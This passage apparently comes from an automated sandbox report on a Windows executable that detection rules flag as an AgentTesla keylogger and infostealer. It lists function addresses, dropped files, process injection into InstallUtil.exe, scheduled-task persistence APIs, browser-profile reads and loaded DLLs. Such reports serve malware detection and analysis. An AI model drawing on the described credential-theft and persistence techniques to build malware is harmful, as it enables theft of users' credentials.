Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C25328	5_2_05C25328
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C25AC0	5_2_05C25AC0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C2EAE0	5_2_05C2EAE0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D02137	5_2_05D02137
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D02467	5_2_05D02467
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D03348	5_2_05D03348
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D308C0	5_2_05D308C0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D32540	5_2_05D32540
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D3DF58	5_2_05D3DF58
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D3DF49	5_2_05D3DF49
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D3D988	5_2_05D3D988
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D3D979	5_2_05D3D979
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D523D8	5_2_05D523D8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5AA98	5_2_05D5AA98
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D58A88	5_2_05D58A88
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5DA20	5_2_05D5DA20
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D59F58	5_2_05D59F58
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D59F68	5_2_05D59F68
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5D9C0	5_2_05D5D9C0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5AA88	5_2_05D5AA88
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D58A78	5_2_05D58A78
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5DA10	5_2_05D5DA10
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05DD0040	5_2_05DD0040
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05DD0007	5_2_05DD0007
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05DDEB58	5_2_05DDEB58
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_0605DE50	5_2_0605DE50
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_0604001E	5_2_0604001E
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_06040040	5_2_06040040
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_0605D168	5_2_0605D168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00F64A60	6_2_00F64A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00F69C68	6_2_00F69C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00F63E48	6_2_00F63E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00F6CF28	6_2_00F6CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00F64190	6_2_00F64190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00F64184	6_2_00F64184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00F64A56	6_2_00F64A56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_00F63E3C	6_2_00F63E3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0584AD80	6_2_0584AD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05849534	6_2_05849534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00F64A60	8_2_00F64A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00F69C62	8_2_00F69C62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00F63E48	8_2_00F63E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00F6CF28	8_2_00F6CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_00F64190	8_2_00F64190

Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000027FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000027FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameQhezbmbyba.exe6 vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206321146.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.000000000251E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2229849429.0000000005636000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameQhezbmbyba.exe6 vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000000.2070509321.00000000000DA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQhezbmbyba.exe6 vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003549000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLhnqc.dll" vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLhnqc.dll" vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2232534783.0000000005A10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2230379954.00000000056B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameLhnqc.dll" vs Teklif-6205018797-6100052155-UUE.exe
Source: Teklif-6205018797-6100052155-UUE.exe	Binary or memory string: OriginalFilenameQhezbmbyba.exe6 vs Teklif-6205018797-6100052155-UUE.exe

Source: Teklif-6205018797-6100052155-UUE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 2.2.InstallUtil.exe.360000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 2.2.InstallUtil.exe.360000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@5/2

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

File created: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: Teklif-6205018797-6100052155-UUE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Teklif-6205018797-6100052155-UUE.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Teklif-6205018797-6100052155-UUE.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

File read: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe "C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe"
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe "C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe "C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe"
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
